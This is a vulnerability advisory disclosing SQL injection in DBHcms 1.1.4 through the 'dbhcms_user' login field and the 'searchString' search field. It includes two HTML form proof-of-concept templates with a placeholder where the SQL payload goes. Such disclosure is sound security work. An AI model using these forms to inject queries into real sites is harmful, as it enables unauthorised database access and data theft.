DBHcms 1.1.4 SQL Injection

`Vulnerability ID: HTB22651  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_dbhcms.html  
Product: DBHcms   
Vendor: drbenhur.com ( http://www.drbenhur.com/ )   
Vulnerable Version: 1.1.4 and probably prior versions  
Vendor Notification: 13 October 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "dbhcms_user" variable.  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/" method="post" name="main" >  
<input type="hidden" name="dbhcms_user" value="'SQL CODE HERE" />  
<input type="hidden" name="dbhcms_passwd" value="password" />  
<input type="submit" value="Login" name="submit" />  
</form>  
  
  
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "searchString" variable.  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang=en" method="post" name="search" />  
<input name="dbhcmsCache" value="CT_OFF" type="hidden" />  
<input name="todo" value="searchExecute" type="hidden" />  
<input name="searchString" value="'SQL CODE HERE" type="hidden" />  
<input type="submit" value="Search" name="submit" />  
</form>  
  
  
  
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